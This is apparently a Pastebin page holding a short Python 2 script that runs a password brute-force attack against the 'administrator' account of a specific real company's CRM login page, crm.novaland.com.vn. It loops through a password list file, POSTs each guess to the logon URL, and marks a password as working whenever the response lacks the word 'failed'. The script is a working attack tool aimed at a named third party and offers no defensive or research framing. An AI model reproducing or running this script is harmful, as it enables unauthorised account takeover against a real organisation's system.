Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2
- import socket
- import cookielib
- import time
- import re
- PASS_LIST = 'password.txt'
- USER = 'administrator'
- MESSENGER = 'failed'
- DEBUG = 0
- with open(PASS_LIST) as f:
- for line in f:
- line = line.replace("\n","")
- print "Brute Force Password : %s" % line
- POSTDATA = "username=%s&password=%s&ReturnUrl="%(USER,line)
- URL = "https://crm.novaland.com.vn/Account.mvc/LogOn/"
- try:
- socket.setdefaulttimeout(10)
- cj = cookielib.CookieJar()
- opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
- response = opener.open(URL,POSTDATA).read()
- result = re.findall(MESSENGER, response)
- if DEBUG==1: print result
- if DEBUG==1: open('debug/%s.html'%line, 'wb').write(response)
- if len(result) > 0:
- print "Login Password %s Error"%line
- else:
- print "Password %s Ok"%line
- except:
- print "Error"
- time.sleep(3)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement